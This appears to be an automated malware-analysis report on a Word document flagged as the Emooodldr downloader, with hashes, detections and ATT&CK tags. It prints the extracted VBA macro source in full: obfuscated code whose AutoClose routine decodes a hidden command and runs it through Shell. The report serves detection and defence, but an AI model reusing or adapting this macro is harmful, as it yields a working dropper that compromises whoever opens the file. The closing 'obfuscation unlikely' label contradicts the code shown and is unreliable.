Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 ad5c791ae004cbb1…

MALICIOUS

Office (OOXML)

54.0 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-12-10
MD5: 2938c7b076107ec91b55067eb4d46a36 SHA-1: 9cc180d0c4da14cf4458f2f493401b8a7127f265 SHA-256: ad5c791ae004cbb1aea0a71fe2f8bc014cba005e8a20e16042dd4f41169dede0
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. Static analysis revealed VBA macros, specifically an AutoClose macro that utilizes the Shell() function. This indicates the macro is designed to execute arbitrary commands, likely to download and run a secondary payload, which is a common characteristic of the Emooodldr family.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2076 bytes
SHA-256: cd72d67cb34aabdef91d1be7f61e0ab80a22a32c4896c6c64c362160337286af
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function frimaire(itacolumite)
  withstay = Array("Z", "E", "D", "k", "n", "y", "p", "m", "0", "l", "G", "d", "W", "H", "M", "w", "g", "3", "c", "C", "I", "F", "a", "q", "A", "i")
  rhizoneure = Array(" ", "b", "a", ".", "i", "z", "?", "=", "k", "O", "c", "e", "/", "u", "s", "t", "U", "j", "n", "m", "d", ":", "h", "x", "p", "o")
  
  teatlike = vbNullString
  
  For Each succuss In itacolumite
    counterpointing = Application.Run("lancelet", succuss, withstay)
    If counterpointing > -1 And counterpointing < 99212 Then
    teatlike = rhizoneure(counterpointing) + teatlike
    End If
  Next
  
  frimaire = StrReverse(teatlike)
  
End Function

Public Function lancelet(brazier, bicyclic)

  curette = 81818
  ashcakesator = -1
  For Each boytrose In bicyclic
    If boytrose = brazier Then
     curette = ashcakesator
     Exit For
    End If

    ashcakesator = ashcakesator + 1
    
  Next

  
  If curette = 81818 Then
    curette = -1
  End If


  lancelet = curette + 1
End Function




Sub AutoClose()
  itacolumite = Array("C", "M", "a", "w", "D", "k", "d", "q", "d", "Z", "a", "w", "w", "A", "F", "W", "W", "i", "D", "n", "3", "E", "H", "y", "q", "G", "H", "c", "D", "M", "I", "3", "c", "k", "G", "i", "C", "W", "l", "g", "W", "M", "C", "n", "q", "k", "A", "a", "A", "p", "H", "w", "C", "D", "m", "c", "c", "n", "n", "0")
  kafs = frimaire(itacolumite)
  
  Application.Run "whelk", (kafs)
  
End Sub


Private Sub whelk(inspan)
   
   includible = 69172
   typhloempyema = True
   
   While typhloempyema
     saunteringly = includible + 91723
     If saunteringly - includible > 297 Then
       VBA.Shell inspan, vbNormalFocus - 1
       typhloempyema = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: e8005709eaf3df4058af39f4840d7730fbce4509c6fece90826a97432483cb61
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely